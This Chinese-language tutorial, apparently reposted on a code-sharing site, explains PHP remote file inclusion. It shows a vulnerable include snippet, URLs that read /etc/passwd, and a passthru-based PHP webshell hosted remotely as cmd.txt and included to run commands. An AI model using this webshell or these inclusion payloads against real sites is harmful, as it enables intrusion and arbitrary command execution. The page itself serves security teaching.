RFI遠程文件包含的漏洞


RFI(Remote File Inclusion) 遠程文件包含漏洞,即服務器通過PHP的特性(函數)去包含任意文件時,
由於要包含的這個文件來源過濾不嚴格,從而可以去包含一個惡意文件,攻擊者就可以遠程構造一個特定
的惡意文件達到攻擊目的。
文件包含的目的
程序員編寫程序時,經常會把需要重復使用的代碼寫入一個單獨的文件中,當需要調用這些代碼時,再在
其他文件中包含調用代碼的文件。
PHP中常用的包含調用函數有:
include(), require(), include_once(), require_once() .
include失敗會彈出警告 而require則直接導致致命的錯誤
本地包含與遠程包含
Include(“reg.php”)
If ($_GET [page]) {
Include $_GET [page];
} else {
Include “home.php”;
}

http://www.***.cn/php/main.php?page=reg.php
main.php 取得page值,執行“($_GET[page])”
如果page的值為空則包涵home.php否則include這就是本地包含
http://www.***.cn/php/main.php?page=http://www.***.cn/index.php
http://www.***.cn/index.php是一個遠程的URL鏈接地址
這就是遠程文件包含PHP配置文件中,allow_url_fopen默認是激活的

構造包含變量,產生包含漏洞 http://www.***.cn/php/main.php?page=why.php
如果why.php是並不存在的文件,那么include便會報錯從而暴露出網站的物理路徑
遠程文件包含漏洞的利用---構造一個遠程的php代碼文件,傳遞到服務器上去
執行,以實現遠程攻擊的目的,這個也就是所謂的遠程包含漏洞攻擊了
1) 讀取目標主機重要文件 可以使用…/…進行目錄跳轉
http://www.***.cn/php/main.php?page=/etc/passwd
2) 包含PHP木馬,獲得shellcode

If (get_magic_quote_gpc())
{$_REQUEST[“cmd”]=stripslashes($_REQUEST[“cmd”]);} //去掉字符串中的反斜線
Ini_set(“max_execution_time”,0) //不限制執行時間
Echo “
Binghe
"; //
Passthru($_REQUEST[“cmd”]); //運行cmd制定的命令
Echo “
Binghe
"; //
?>


這段php代碼的意思是接受cmd制定的命令,調用passthru函數來執行binghe
把上面的代碼保存為cmd.txt並存放在每個可以通過http訪問的服務器上面
http://www.***.cn/cmd.txt
http://www.***.cn/php/main.php?page=http://www.***.cn/cmd.txt?cmd=ls
is是cmd的命令是查看,列目錄,文件的意思,也可以使用其他的命令,然后就可以看到返回的結果了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM